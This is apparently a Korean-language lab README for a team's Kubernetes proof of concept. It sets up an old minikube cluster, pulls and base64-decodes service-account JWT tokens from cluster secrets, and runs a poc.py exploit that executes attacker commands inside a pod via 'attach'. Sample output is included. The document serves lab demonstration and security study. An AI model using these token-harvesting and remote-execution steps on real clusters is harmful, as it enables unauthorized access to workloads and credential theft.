
팀원: Abhishek Rungta, Shubham Saini, Siddhant Sood
가상 박스 이미지(.ova 파일)를 제공했습니다. 다운로드하여 VM을 생성하세요. 제공된 ova는 docker v18.09 및 minikube v1.9.0으로 사전 구성되어 있습니다.
가상 이미지에는 이미 minkube와 필요한 kubernetes 버전이 있으므로 다음 명령을 실행하여 minikube를 시작하면 됩니다
minikube start --kubernetes-version=v1.12.2
다음 명령을 사용하여 새 사용자와 네임스페이스를 만들고 생성된 사용자에게 RBAC 역할을 할당합니다.
kubectl apply -f fixing_policy.yml
kubectl edit configmaps kube-proxy --namespace=kube-system
maxPerCore 설정을 0으로 변경하세요
먼저 다음 명령을 실행하여 시스템에 저장된 모든 jwt 토큰을 확인합니다
kubectl get secrets -A
생성된 특정 사용자의 secret을 가져오려면 다음 명령을 실행하세요:
kubectl -n [namespace] get secrets [user-token] -o json
그런 다음 base64로 디코딩합니다.
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN
kubectl cluster-info
kubectl run --image=nginx:alpine securenginx -n poc
필요한 모든 인수를 지정하세요:
-t 대상> ip:port (필수)
-j 사용자의 JWT 토큰 (필수)
-p pod (필수)
-n 네임스페이스
-m 메서드 (필수)
-c 컨테이너
-x 공격자 명령
입력
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0"
출력
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:217603 (212.5 KiB) TX bytes:428778 (418.7 KiB)
{"metadata":{},"status":"Success"}
데모 영상 링크